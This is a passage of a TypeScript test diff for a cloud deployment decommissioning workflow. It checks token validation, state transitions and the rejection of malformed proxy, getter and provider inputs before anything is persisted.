+      const branch = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+      const current = await driveBoundedUntil(
+        branch,
+        (record) => record.applicationResources?.[0]?.state === state,
+      );
+      Object.defineProperty(branch.backend, property, {
+        configurable: true,
+        value: undefined,
+      });
+      const before = branch.store.record;
+      await expect(
+        continueBoundedDecommission(branch, current),
+      ).rejects.toMatchObject({ capability });
+      expect(branch.store.record).toBe(before);
+    }
+
+    const exactVerify = await boundedDecommissionHarness({
+      r2Names: ['FILES'],
+    });
+    const exactDiscover = await driveBoundedUntil(
+      exactVerify,
+      (record) => record.decommissionIntent?.state === 'discover',
+    );
+    const exactToken = await continueBoundedDecommission(
+      exactVerify,
+      exactDiscover,
+    );
+    const exactFind = exactVerify.backend.findApplicationR2Bucket;
+    let exactFindReads = 0;
+    Object.defineProperty(exactVerify.backend, 'findApplicationR2Bucket', {
+      configurable: true,
+      get() {
+        exactFindReads += 1;
+        return exactFind;
+      },
+    });
+    await expect(
+      continueBoundedDecommission(exactVerify, exactToken),
+    ).resolves.toMatchObject({ status: 'pending' });
+    expect(exactFindReads).toBe(1);
+    expect(exactVerify.store.record?.applicationResources?.[0]?.state).toBe(
+      'detached',
+    );
+
+    const deletedPrefix = await boundedDecommissionHarness({
+      r2Names: ['FILES'],
+    });
+    await driveBoundedUntil(
+      deletedPrefix,
+      (record) => record.applicationResources?.[0]?.state === 'deleted',
+    );
+    const deletedCurrent = await startBoundedDecommission(deletedPrefix);
+    Object.defineProperty(deletedPrefix.backend, 'findApplicationR2Bucket', {
+      configurable: true,
+      value: undefined,
+    });
+    await expect(
+      continueBoundedDecommission(deletedPrefix, deletedCurrent),
+    ).rejects.toMatchObject({ capability: 'application-r2-inspection' });
+
+    for (const lifecyclePhase of ['ready', 'traffic-removed'] as const) {
+      const deletedOnly = await boundedDecommissionHarness({
+        r2Names: ['FILES'],
+      });
+      const resource = deletedOnly.store.record?.applicationResources?.[0];
+      if (!resource) throw new Error('missing deleted-only R2 resource');
+      deletedOnly.backend.buckets.delete(resource.bucketName);
+      deletedOnly.store.record = {
+        ...(deletedOnly.store.record as FleetRecord),
+        phase: lifecyclePhase,
+        applicationResources: [{ ...resource, state: 'deleted' }],
+      };
+      if (lifecyclePhase === 'traffic-removed') {
+        deletedOnly.backend.trafficRemoved = true;
+      }
+      Object.defineProperties(deletedOnly.backend, {
+        assertApplicationR2Empty: {
+          configurable: true,
+          value: undefined,
+        },
+        deleteApplicationR2Bucket: {
+          configurable: true,
+          value: undefined,
+        },
+      });
+      const initialFinds = deletedOnly.backend.r2FindCalls;
+      const initialEvents = deletedOnly.backend.events.length;
+      const initialDatabaseReads = deletedOnly.backend.databaseIdsRead.length;
+      const initialTrafficChecks =
+        deletedOnly.backend.assertTrafficRemovedCalls;
+      const initialWrites = deletedOnly.store.phases.length;
+      const started = await startBoundedDecommission(deletedOnly);
+      expect(deletedOnly.backend.r2FindCalls, lifecyclePhase).toBe(
+        initialFinds,
+      );
+      expect(deletedOnly.backend.events, lifecyclePhase).toHaveLength(
+        initialEvents,
+      );
+      expect(deletedOnly.backend.databaseIdsRead, lifecyclePhase).toHaveLength(
+        initialDatabaseReads,
+      );
+      expect(
+        deletedOnly.backend.assertTrafficRemovedCalls,
+        lifecyclePhase,
+      ).toBe(initialTrafficChecks);
+      expect(deletedOnly.store.phases, lifecyclePhase).toHaveLength(
+        initialWrites + 1,
+      );
+
+      await continueBoundedDecommission(deletedOnly, started);
+      expect(
+        deletedOnly.store.record?.decommissionIntent?.lifecyclePhase,
+        lifecyclePhase,
+      ).toBe(
+        lifecyclePhase === 'ready' ? 'decommissioning' : 'credentials-revoked',
+      );
+      expect(
+        deletedOnly.backend.r2FindNames.slice(initialFinds),
+        lifecyclePhase,
+      ).toEqual(['FILES']);
+      expect(
+        deletedOnly.backend.events.slice(initialEvents),
+        lifecyclePhase,
+      ).toEqual(lifecyclePhase === 'ready' ? [] : ['revoke']);
+      expect(
+        deletedOnly.backend.databaseIdsRead.length - initialDatabaseReads,
+        lifecyclePhase,
+      ).toBe(lifecyclePhase === 'ready' ? 0 : 1);
+      expect(
+        deletedOnly.backend.assertTrafficRemovedCalls - initialTrafficChecks,
+        lifecyclePhase,
+      ).toBe(lifecyclePhase === 'ready' ? 0 : 1);
+      expect(deletedOnly.store.phases, lifecyclePhase).toHaveLength(
+        initialWrites + 2,
+      );
+    }
+
+    for (const state of ['reserved', 'create-authorized'] as const) {
+      const incomplete = await boundedDecommissionHarness({
+        r2Names: ['FILES'],
+      });
+      const resource = incomplete.store.record?.applicationResources?.[0];
+      if (!resource) throw new Error('missing incomplete R2 resource');
+      const { creationDate: _creationDate, ...withoutCreation } = resource;
+      incomplete.store.record = {
+        ...(incomplete.store.record as FleetRecord),
+        applicationResources: [{ ...withoutCreation, state }],
+      };
+      const uuid = vi.fn(() => DECOMMISSION_OPERATION_ID);
+      await expect(
+        advanceDecommissionDeployment(
+          boundedAdvanceOptions(
+            incomplete,
+            { kind: 'start' },
+            {
+              randomUUID: uuid,
+            },
+          ),
+        ),
+      ).rejects.toThrow(/incomplete application R2 reservation/u);
+      expect(uuid).not.toHaveBeenCalled();
+    }
+
+    for (const lifecyclePhase of ['ready', 'traffic-removed'] as const) {
+      for (const state of ['reserved', 'create-authorized'] as const) {
+        const incomplete = await boundedDecommissionHarness({
+          r2Names: ['FILES'],
+        });
+        const current =
+          lifecyclePhase === 'ready'
+            ? await startBoundedDecommission(incomplete)
+            : await driveBoundedUntil(
+                incomplete,
+                (record) =>
+                  record.decommissionIntent?.lifecyclePhase ===
+                  'traffic-removed',
+              );
+        const resource = incomplete.store.record?.applicationResources?.[0];
+        if (!resource)
+          throw new Error('missing current incomplete R2 resource');
+        const { creationDate: _creationDate, ...reservation } = resource;
+        incomplete.store.record = {
+          ...(incomplete.store.record as FleetRecord),
+          applicationResources: [{ ...reservation, state }],
+        };
+        const capabilityImplementations = {
+          advanceDecommissionAttachmentScan:
+            incomplete.backend.advanceDecommissionAttachmentScan,
+          findApplicationR2Bucket: incomplete.backend.findApplicationR2Bucket,
+          assertApplicationR2Empty: incomplete.backend.assertApplicationR2Empty,
+          deleteApplicationR2Bucket:
+            incomplete.backend.deleteApplicationR2Bucket,
+        };
+        const capabilityReads: string[] = [];
+        for (const property of Object.keys(
+          capabilityImplementations,
+        ) as (keyof typeof capabilityImplementations)[]) {
+          Object.defineProperty(incomplete.backend, property, {
+            configurable: true,
+            get() {
+              capabilityReads.push(property);
+              return capabilityImplementations[property];
+            },
+          });
+        }
+        const before = JSON.stringify(incomplete.store.record);
+        const r2Finds = incomplete.backend.r2FindCalls;
+        const scans = incomplete.backend.scanInputs.length;
+        const emptyChecks = incomplete.backend.emptyChecks;
+        const deletes = incomplete.backend.deleteCalls;
+        const databaseReads = incomplete.backend.databaseIdsRead.length;
+        const trafficChecks = incomplete.backend.assertTrafficRemovedCalls;
+        const writes = incomplete.store.phases.length;
+        const events = [...incomplete.backend.events];
+        const failure = await continueBoundedDecommission(
+          incomplete,
+          current,
+        ).catch((error: unknown) => error);
+        expect(failure, `${lifecyclePhase}:${state}`).toMatchObject({
+          name: 'Error',
+          message:
+            'normal decommission cannot consume incomplete application R2 reservation',
+        });
+        expect(capabilityReads, `${lifecyclePhase}:${state}`).toEqual([]);
+        expect(
+          incomplete.backend.r2FindCalls,
+          `${lifecyclePhase}:${state}`,
+        ).toBe(r2Finds);
+        expect(
+          incomplete.backend.scanInputs,
+          `${lifecyclePhase}:${state}`,
+        ).toHaveLength(scans);
+        expect(
+          incomplete.backend.emptyChecks,
+          `${lifecyclePhase}:${state}`,
+        ).toBe(emptyChecks);
+        expect(
+          incomplete.backend.deleteCalls,
+          `${lifecyclePhase}:${state}`,
+        ).toBe(deletes);
+        expect(
+          incomplete.backend.databaseIdsRead,
+          `${lifecyclePhase}:${state}`,
+        ).toHaveLength(databaseReads);
+        expect(
+          incomplete.backend.assertTrafficRemovedCalls,
+          `${lifecyclePhase}:${state}`,
+        ).toBe(trafficChecks);
+        expect(incomplete.backend.events, `${lifecyclePhase}:${state}`).toEqual(
+          events,
+        );
+        expect(
+          incomplete.store.phases,
+          `${lifecyclePhase}:${state}`,
+        ).toHaveLength(writes);
+        expect(
+          JSON.stringify(incomplete.store.record),
+          `${lifecyclePhase}:${state}`,
+        ).toBe(before);
+      }
+    }
+
+    const platformRevoke = await boundedDecommissionHarness({
+      kind: 'workers-for-platforms',
+      external: true,
+    });
+    await driveBoundedUntil(
+      platformRevoke,
+      (record) =>
+        record.decommissionIntent?.lifecyclePhase === 'worker-deleted',
+    );
+    const revokeImplementation =
+      platformRevoke.backend.revokePlatformResourceCredentials;
+    let revokeReads = 0;
+    Object.defineProperty(
+      platformRevoke.backend,
+      'revokePlatformResourceCredentials',
+      {
+        configurable: true,
+        get() {
+          revokeReads += 1;
+          return revokeImplementation;
+        },
+      },
+    );
+    await continueBoundedDecommission(
+      platformRevoke,
+      await startBoundedDecommission(platformRevoke),
+    );
+    expect(revokeReads).toBe(1);
+
+    const platformDelete = await boundedDecommissionHarness({
+      kind: 'workers-for-platforms',
+      external: true,
+    });
+    await driveBoundedUntil(
+      platformDelete,
+      (record) =>
+        record.decommissionIntent?.lifecyclePhase ===
+        'platform-credentials-revoked',
+    );
+    const deleteImplementation = platformDelete.backend.deletePlatformResources;
+    const residualImplementation =
+      platformDelete.backend.assertDatabaseDeletionResidualsRemoved;
+    let deleteReads = 0;
+    let residualReads = 0;
+    Object.defineProperty(platformDelete.backend, 'deletePlatformResources', {
+      configurable: true,
+      get() {
+        deleteReads += 1;
+        return deleteImplementation;
+      },
+    });
+    Object.defineProperty(
+      platformDelete.backend,
+      'assertDatabaseDeletionResidualsRemoved',
+      {
+        configurable: true,
+        get() {
+          residualReads += 1;
+          return residualImplementation;
+        },
+      },
+    );
+    await continueBoundedDecommission(
+      platformDelete,
+      await startBoundedDecommission(platformDelete),
+    );
+    expect(deleteReads).toBe(1);
+    expect(residualReads).toBe(1);
+
+    for (const [lifecyclePhase, property, message] of [
+      [
+        'worker-deleted',
+        'revokePlatformResourceCredentials',
+        'backend cannot revoke trusted platform resource credentials',
+      ],
+      [
+        'platform-credentials-revoked',
+        'deletePlatformResources',
+        'backend cannot delete trusted platform resources',
+      ],
+    ] as const) {
+      const malformed = await boundedDecommissionHarness({
+        kind: 'workers-for-platforms',
+        external: true,
+      });
+      const current = await driveBoundedUntil(
+        malformed,
+        (record) =>
+          record.decommissionIntent?.lifecyclePhase === lifecyclePhase,
+      );
+      let getterReads = 0;
+      Object.defineProperty(malformed.backend, property, {
+        configurable: true,
+        get() {
+          getterReads += 1;
+          return {};
+        },
+      });
+      const before = malformed.store.record;
+      const databaseReads = malformed.backend.databaseIdsRead.length;
+      const events = [...malformed.backend.events];
+      await expect(
+        continueBoundedDecommission(malformed, current),
+      ).rejects.toThrow(message);
+      expect(getterReads).toBe(1);
+      expect(malformed.backend.databaseIdsRead).toHaveLength(databaseReads);
+      expect(malformed.backend.events).toEqual(events);
+      expect(malformed.store.record).toBe(before);
+    }
+  });
+
+  it('classifies token errors before I/O; stale is inert; current advances one group', async () => {
+    const harness = await boundedDecommissionHarness();
+    const getter = vi.fn(() => 'continue');
+    const hostile: Record<string, unknown> = {};
+    Object.defineProperty(hostile, 'kind', { enumerable: true, get: getter });
+    const leases = harness.store.leaseCalls;
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(harness, hostile as never),
+      ),
+    ).rejects.toThrow('decommission advance action is malformed');
+    expect(getter).not.toHaveBeenCalled();
+    expect(harness.store.leaseCalls).toBe(leases);
+
+    const tokenGetter = vi.fn(() => ({}));
+    const hostileToken: Record<string, unknown> = { kind: 'continue' };
+    Object.defineProperty(hostileToken, 'token', {
+      enumerable: true,
+      get: tokenGetter,
+    });
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(harness, hostileToken as never),
+      ),
+    ).rejects.toThrow('decommission advance action is malformed');
+    expect(tokenGetter).not.toHaveBeenCalled();
+    expect(harness.store.leaseCalls).toBe(leases);
+
+    const cyclicToken: Record<string, unknown> = {};
+    cyclicToken.self = cyclicToken;
+    let deepToken: unknown = 'leaf';
+    for (let depth = 0; depth < 10; depth += 1) {
+      deepToken = { next: deepToken };
+    }
+    const transparentAction = new Proxy({ kind: 'start' as const }, {});
+    const revokedAction = Proxy.revocable({ kind: 'start' as const }, {});
+    revokedAction.revoke();
+    for (const action of [
+      transparentAction,
+      revokedAction.proxy,
+      { kind: 'start', extra: true },
+      { kind: 'unknown' },
+      { kind: 'continue' },
+      { kind: 'continue', token: {}, extra: true },
+      { kind: 'restart-blocked' },
+      { kind: 'restart-blocked', token: {}, extra: true },
+      { kind: 'continue', token: cyclicToken },
+      { kind: 'continue', token: deepToken },
+      { kind: 'continue', token: Array.from({ length: 40 }, () => 0) },
+      { kind: 'continue', token: 'x'.repeat(2_049) },
+    ]) {
+      await expect(
+        advanceDecommissionDeployment(
+          boundedAdvanceOptions(harness, action as never),
+        ),
+      ).rejects.toThrow('decommission advance action is malformed');
+      expect(harness.store.leaseCalls).toBe(leases);
+    }
+
+    const started = await startBoundedDecommission(harness);
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(harness, {
+          kind: 'continue',
+          token: { ...started.token, tenantTag: 'other' },
+        }),
+      ),
+    ).rejects.toThrow('decommission advance token targets another deployment');
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(harness, {
+          kind: 'continue',
+          token: { ...started.token, operationId: crypto.randomUUID() },
+        }),
+      ),
+    ).rejects.toThrow('decommission advance token targets another operation');
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(harness, {
+          kind: 'continue',
+          token: { ...started.token, revision: 99 },
+        }),
+      ),
+    ).rejects.toThrow('decommission advance token is from the future');
+
+    const advanced = await continueBoundedDecommission(harness, started);
+    const events = [...harness.backend.events];
+    await expect(
+      continueBoundedDecommission(harness, started),
+    ).resolves.toEqual(advanced);
+    expect(harness.backend.events).toEqual(events);
+
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(
+          harness,
+          { kind: 'start' },
+          {
+            spec: spec({
+              modules: [{ name: 'worker.js', content: 'changed' }],
+            }),
+          },
+        ),
+      ),
+    ).rejects.toThrow(/different|match/u);
+    const replacementBackend = new R2RollbackBackend('workers-for-platforms');
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(
+          harness,
+          { kind: 'start' },
+          { backend: replacementBackend },
+        ),
+      ),
+    ).rejects.toThrow('decommission backend does not own this deployment');
+    expect(replacementBackend.events).toHaveLength(0);
+
+    const absent = await boundedDecommissionHarness();
+    absent.store.record = undefined;
+    await expect(startBoundedDecommission(absent)).rejects.toThrow(
+      'deployment is not registered',
+    );
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(absent, {
+          kind: 'continue',
+          token: started.token,
+        }),
+      ),
+    ).rejects.toThrow('decommission advance token targets another operation');
+
+    const intent = harness.store.record?.decommissionIntent;
+    if (!intent) throw new Error('missing decommission intent');
+    harness.store.record = {
+      ...(harness.store.record as FleetRecord),
+      phase: 'decommissioned',
+      applicationResources: [],
+      databaseExportLocation: 'r2://exports/db.sqlite',
+      databaseExportSha256: 'a'.repeat(64),
+      databaseExportSize: 32,
+      decommissionIntent: {
+        version: 1,
+        operationId: intent.operationId,
+        revision: 2,
+        generation: intent.generation,
+        updatedAt: intent.updatedAt,
+        identity: intent.identity,
+        databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+        lifecyclePhase: 'decommissioned',
+        state: 'complete',
+      },
+    };
+    const terminalRecord = harness.store.record as FleetRecord;
+    const currentToken = { ...started.token, revision: 2 };
+    const expectedComplete = {
+      status: 'complete',
+      token: currentToken,
+      result: {
+        record: terminalRecord,
+        databaseExport: {
+          databaseId: terminalRecord.databaseId,
+          location: 'r2://exports/db.sqlite',
+          sha256: 'a'.repeat(64),
+          size: 32,
+        },
+      },
+    } as const;
+    const terminalEvents = [...harness.backend.events];
+    const terminalWrites = harness.store.phases.length;
+    const terminalUuid = vi.fn(() => crypto.randomUUID());
+    const terminalClock = vi.fn(() => Date.now());
+    for (const action of [
+      { kind: 'continue', token: currentToken },
+      { kind: 'continue', token: { ...currentToken, revision: 1 } },
+      { kind: 'start' },
+    ] as const) {
+      await expect(
+        advanceDecommissionDeployment(
+          boundedAdvanceOptions(harness, action, {
+            randomUUID: terminalUuid,
+            clock: terminalClock,
+          }),
+        ),
+      ).resolves.toEqual(expectedComplete);
+    }
+    expect(terminalUuid).not.toHaveBeenCalled();
+    expect(terminalClock).not.toHaveBeenCalled();
+    expect(harness.backend.events).toEqual(terminalEvents);
+    expect(harness.store.phases).toHaveLength(terminalWrites);
+  });
+
+  it('a duplicate current token becomes stale after one lifecycle group', async () => {
+    const harness = await boundedDecommissionHarness();
+    let tick = Date.parse('2026-08-30T02:00:00.000Z');
+    const clock = vi.fn(() => (tick += 1_000));
+    const started = await advanceDecommissionDeployment(
+      boundedAdvanceOptions(harness, { kind: 'start' }, { clock }),
+    );
+    expect(clock).toHaveBeenCalledTimes(1);
+    const first = await advanceDecommissionDeployment(
+      boundedAdvanceOptions(
+        harness,
+        { kind: 'continue', token: started.token },
+        { clock },
+      ),
+    );
+    expect(first).toMatchObject({ status: 'pending', token: { revision: 1 } });
+    expect(clock).toHaveBeenCalledTimes(2);
+    const phase = harness.store.record?.decommissionIntent?.lifecyclePhase;
+    const duplicate = await advanceDecommissionDeployment(
+      boundedAdvanceOptions(
+        harness,
+        { kind: 'continue', token: started.token },
+        { clock },
+      ),
+    );
+    expect(duplicate).toEqual(first);
+    expect(clock).toHaveBeenCalledTimes(2);
+    expect(harness.store.record?.decommissionIntent?.lifecyclePhase).toBe(
+      phase,
+    );
+  });
+
+  it('persists exact progress budget signal and scan-only timestamps', async () => {
+    const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+    const atDiscover = await driveBoundedUntil(
+      harness,
+      (record) => record.decommissionIntent?.state === 'discover',
+    );
+    const before = harness.store.record as FleetRecord;
+    const scan = before.decommissionIntent;
+    if (scan?.state !== 'discover')
+      throw new Error('missing discover progress');
+    harness.backend.scanResults.push({
+      status: 'pending',
+      progress: scan.progress,
+      providerFetchAttemptsReserved: 12,
+    });
+    const controller = new AbortController();
+    const next = await advanceDecommissionDeployment(
+      boundedAdvanceOptions(
+        harness,
+        { kind: 'continue', token: atDiscover.token },
+        { signal: controller.signal },
+      ),
+    );
+    expect(harness.backend.scanInputs.at(-1)).toMatchObject({
+      progress: scan.progress,
+      maxProviderRequests: 12,
+      signal: controller.signal,
+    });
+    expect(harness.store.record?.updatedAt).toBe(before.updatedAt);
+    expect(next.token.revision).toBe(atDiscover.token.revision + 1);
+
+    const sentinel = new Error('scan transport failed');
+    harness.backend.scanFailure = sentinel;
+    const snapshot = harness.store.record;
+    await expect(continueBoundedDecommission(harness, next)).rejects.toBe(
+      sentinel,
+    );
+    expect(harness.store.record).toBe(snapshot);
+
+    const aborted = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+    const abortedDiscover = await driveBoundedUntil(
+      aborted,
+      (record) => record.decommissionIntent?.state === 'discover',
+    );
+    const abortedController = new AbortController();
+    const abortReason = new Error('scan aborted by caller');
+    abortedController.abort(abortReason);
+    aborted.backend.scanFailure = abortReason;
+    const abortedSnapshot = aborted.store.record;
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(
+          aborted,
+          { kind: 'continue', token: abortedDiscover.token },
+          { signal: abortedController.signal },
+        ),
+      ),
+    ).rejects.toBe(abortReason);
+    expect(aborted.backend.scanInputs.at(-1)?.signal).toBe(
+      abortedController.signal,
+    );
+    expect(aborted.backend.scanInputs.at(-1)?.signal?.aborted).toBe(true);
+    expect(aborted.backend.scanInputs.at(-1)?.signal?.reason).toBe(abortReason);
+    expect(aborted.store.record).toBe(abortedSnapshot);
+  });
+
+  it('discover completion starts a fresh verify pass without an action', async () => {
+    const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+    const discover = await driveBoundedUntil(
+      harness,
+      (record) => record.decommissionIntent?.state === 'discover',
+    );
+    const resourceBefore = harness.store.record?.applicationResources?.[0];
+    const verified = await continueBoundedDecommission(harness, discover);
+    expect(harness.store.record?.decommissionIntent).toMatchObject({
+      state: 'verify',
+      discoverEvidence: {
+        evidenceSha256: 'a'.repeat(64),
+        evidenceCount: 2,
+      },
+    });
+    expect(harness.store.record?.applicationResources?.[0]).toEqual(
+      resourceBefore,
+    );
+    expect(verified.status).toBe('pending');
+  });
+
+  it('matching verify atomically detaches and consumes scan payload', async () => {
+    const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+    const discover = await driveBoundedUntil(
+      harness,
+      (record) => record.decommissionIntent?.state === 'discover',
+    );
+    const verify = await continueBoundedDecommission(harness, discover);
+    await continueBoundedDecommission(harness, verify);
+    expect(harness.store.record?.applicationResources?.[0]?.state).toBe(
+      'detached',
+    );
+    expect(harness.store.record?.decommissionIntent).toMatchObject({
+      state: 'transitioning',
+    });
+    expect(harness.store.record?.decommissionIntent).not.toHaveProperty(
+      'discoverEvidence',
+    );
+  });
+
+  it('drift and independent digest or count mismatch restart discovery', async () => {
+    for (const mode of ['drift', 'digest', 'count'] as const) {
+      const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+      const discover = await driveBoundedUntil(
+        harness,
+        (record) => record.decommissionIntent?.state === 'discover',
+      );
+      const initialGeneration =
+        harness.store.record?.decommissionIntent?.generation ?? -1;
+      if (mode === 'drift') {
+        harness.backend.scanResults.push({ status: 'drift' });
+        await continueBoundedDecommission(harness, discover);
+      } else {
+        const verify = await continueBoundedDecommission(harness, discover);
+        harness.backend.scanResults.push({
+          status: 'complete',
+          evidenceSha256: mode === 'digest' ? 'b'.repeat(64) : 'a'.repeat(64),
+          evidenceCount: mode === 'count' ? 3 : 2,
+          providerFetchAttemptsReserved: 3,
+        });
+        await continueBoundedDecommission(harness, verify);
+      }
+      expect(harness.store.record?.decommissionIntent).toMatchObject({
+        state: 'discover',
+        generation: initialGeneration + 1,
+      });
+    }
+  });
+
+  it('blocks from either pass and only an explicit current restart proceeds', async () => {
+    for (const pass of ['discover', 'verify'] as const) {
+      const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+      let result = await driveBoundedUntil(
+        harness,
+        (record) => record.decommissionIntent?.state === 'discover',
+      );
+      if (pass === 'verify')
+        result = await continueBoundedDecommission(harness, result);
+      harness.backend.scanResults.push({
+        status: 'attached',
+        attachment: { plane: 'ordinary', scriptName: 'consumer' },
+        providerFetchAttemptsReserved: 3,
+      });
+      const blocked = await continueBoundedDecommission(harness, result);
+      expect(blocked).toMatchObject({
+        status: 'blocked',
+        attachment: { plane: 'ordinary', scriptName: 'consumer' },
+      });
+      const calls = harness.backend.scanInputs.length;
+      await expect(
+        continueBoundedDecommission(harness, blocked),
+      ).resolves.toEqual(blocked);
+      expect(harness.backend.scanInputs).toHaveLength(calls);
+      const restarted = await advanceDecommissionDeployment(
+        boundedAdvanceOptions(harness, {
+          kind: 'restart-blocked',
+          token: blocked.token,
+        }),
+      );
+      expect(restarted.status).toBe('pending');
+      expect(harness.store.record?.decommissionIntent?.state).toBe('discover');
+      await expect(
+        advanceDecommissionDeployment(
+          boundedAdvanceOptions(harness, {
+            kind: 'restart-blocked',
+            token: restarted.token,
+          }),
+        ),
+      ).rejects.toBeInstanceOf(DecommissionAdvanceRestartError);
+    }
+
+    const prefixed = await boundedDecommissionHarness({
+      r2Names: ['ARCHIVE', 'FILES'],
+    });
+    const secondDiscover = await driveBoundedUntil(
+      prefixed,
+      (record) =>
+        record.decommissionIntent?.state === 'discover' &&
+        record.decommissionIntent.purpose.kind === 'application-r2-detach' &&
+        record.decommissionIntent.purpose.resourceIndex === 1,
+    );
+    prefixed.backend.scanResults.push({
+      status: 'attached',
+      attachment: { plane: 'ordinary', scriptName: 'consumer' },
+      providerFetchAttemptsReserved: 3,
+    });
+    const secondBlocked = await continueBoundedDecommission(
+      prefixed,
+      secondDiscover,
+    );
+    const prior = prefixed.store.record?.applicationResources?.[0];
+    if (!prior?.creationDate)
+      throw new Error('missing deleted prefix identity');
+    prefixed.backend.buckets.set(prior.bucketName, {
+      name: prior.name,
+      bucketName: prior.bucketName,
+      jurisdiction: prior.jurisdiction,
+      creationDate: prior.creationDate,
+    });
+    const prefixFindImplementation = prefixed.backend.findApplicationR2Bucket;
+    let prefixFindGetterReads = 0;
+    Object.defineProperty(prefixed.backend, 'findApplicationR2Bucket', {
+      configurable: true,
+      get() {
+        prefixFindGetterReads += 1;
+        return prefixFindImplementation;
+      },
+    });
+    const prefixSnapshot = prefixed.store.record;
+    const prefixScans = prefixed.backend.scanInputs.length;
+    const prefixFinds = prefixed.backend.r2FindNames.length;
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(prefixed, {
+          kind: 'restart-blocked',
+          token: secondBlocked.token,
+        }),
+      ),
+    ).rejects.toThrow(/reappeared after deletion/u);
+    expect(prefixed.store.record).toBe(prefixSnapshot);
+    expect(prefixed.backend.scanInputs).toHaveLength(prefixScans);
+    expect(prefixFindGetterReads).toBe(1);
+    expect(prefixed.backend.r2FindNames.slice(prefixFinds)).toEqual([
+      'ARCHIVE',
+    ]);
+
+    const d1Blocked = await boundedDecommissionHarness();
+    let d1Current = await driveBoundedUntil(
+      d1Blocked,
+      (record) =>
+        record.decommissionIntent?.lifecyclePhase ===
+          'application-resources-deleted' &&
+        record.decommissionIntent.state === 'transitioning',
+    );
+    d1Current = await continueBoundedDecommission(d1Blocked, d1Current);
+    d1Blocked.backend.scanResults.push({
+      status: 'attached',
+      attachment: { plane: 'ordinary', scriptName: 'consumer' },
+      providerFetchAttemptsReserved: 3,
+    });
+    const d1BlockedResult = await continueBoundedDecommission(
+      d1Blocked,
+      d1Current,
+    );
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(d1Blocked, {
+          kind: 'restart-blocked',
+          token: d1BlockedResult.token,
+        }),
+      ),
+    ).resolves.toMatchObject({ status: 'pending' });
+    expect(d1Blocked.store.record?.decommissionIntent).toMatchObject({
+      state: 'discover',
+      purpose: { kind: 'database-pre-export' },
+    });
+  });
+
+  it('rejects hostile provider results before persistence', async () => {
+    const hostile = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+    const hostileDiscover = await driveBoundedUntil(
+      hostile,
+      (record) => record.decommissionIntent?.state === 'discover',
+    );
+    const hostileIntent = hostile.store.record?.decommissionIntent;
+    if (hostileIntent?.state !== 'discover') {
+      throw new Error('missing hostile-result discover progress');
+    }
+    const validProgress = hostileIntent.progress;
+    const rows: readonly DecommissionAttachmentScanResult[] = [
+      {
+        status: 'pending',
+        progress: {} as never,
+        providerFetchAttemptsReserved: 3,
+      },
+      {
+        status: 'pending',
+        progress: {
+          ...validProgress,
+          target: { kind: 'r2', bucketName: 'another-bucket' },
+        },
+        providerFetchAttemptsReserved: 3,
+      },
+      {
+        status: 'pending',
+        progress: validProgress,
+      } as never,
+      {
+        status: 'pending',
+        progress: validProgress,
+        providerFetchAttemptsReserved: -1,
+      },
+      {
+        status: 'pending',
+        progress: validProgress,
+        providerFetchAttemptsReserved: 1.5,
+      },
+      {
+        status: 'pending',
+        progress: validProgress,
+        providerFetchAttemptsReserved: 13,
+      },
+      {
+        status: 'attached',
+        attachment: { plane: 'dispatch', scriptName: 'broken' } as never,
+        providerFetchAttemptsReserved: 3,
+      },
+      {
+        status: 'attached',
+        attachment: {
+          plane: 'ordinary',
+          scriptName: 'é'.repeat(2_049),
+        },
+        providerFetchAttemptsReserved: 3,
+      },
+      {
+        status: 'complete',
+        evidenceSha256: 'not-a-digest',
+        evidenceCount: 2,
+        providerFetchAttemptsReserved: 3,
+      },
+      {
+        status: 'complete',
+        evidenceSha256: 'a'.repeat(64),
+        evidenceCount: 1,
+        providerFetchAttemptsReserved: 3,
+      },
+      {
+        status: 'complete',
+        evidenceSha256: 'a'.repeat(64),
+        evidenceCount: 1_000_001,
+        providerFetchAttemptsReserved: 3,
+      },
+      {
+        status: 'complete',
+        evidenceSha256: 'a'.repeat(64),
+        evidenceCount: 2,
+        providerFetchAttemptsReserved: 13,
+      },
+    ];
+    for (const row of rows) {
+      hostile.backend.scanResults.push(row);
+      const snapshot = hostile.store.record;
+      await expect(
+        continueBoundedDecommission(hostile, hostileDiscover),
+      ).rejects.toThrow(/malformed/u);
+      expect(hostile.store.record).toBe(snapshot);
+    }
+
+    let topLevelGetterReads = 0;
+    const topLevelAccessor: Record<string, unknown> = {};
+    Object.defineProperty(topLevelAccessor, 'status', {
+      enumerable: true,
+      get() {
+        topLevelGetterReads += 1;
+        return 'drift';
+      },
+    });
+    let proxyTrapCalls = 0;
+    const hostileProxy = new Proxy(
+      {},
+      {
+        getPrototypeOf() {
+          proxyTrapCalls += 1;
+          throw new Error('proxy trap must be normalized');
+        },
+      },
+    );
+    let nestedGetterReads = 0;
+    const nestedAccessor: Record<string, unknown> = {
+      scriptName: 'consumer',
+    };
+    Object.defineProperty(nestedAccessor, 'plane', {
+      enumerable: true,
+      get() {
+        nestedGetterReads += 1;
+        return 'ordinary';
+      },
+    });
+    let alternatingScriptNameReads = 0;
+    const alternatingAttachment: Record<string, unknown> = {
+      plane: 'ordinary',
+    };
+    Object.defineProperty(alternatingAttachment, 'scriptName', {
+      enumerable: true,
+      get() {
+        alternatingScriptNameReads += 1;
+        return alternatingScriptNameReads % 2 === 1 ? 'consumer' : '';
+      },
+    });
+    const symbolResult = { status: 'drift' } as Record<
+      string | symbol,
+      unknown
+    >;
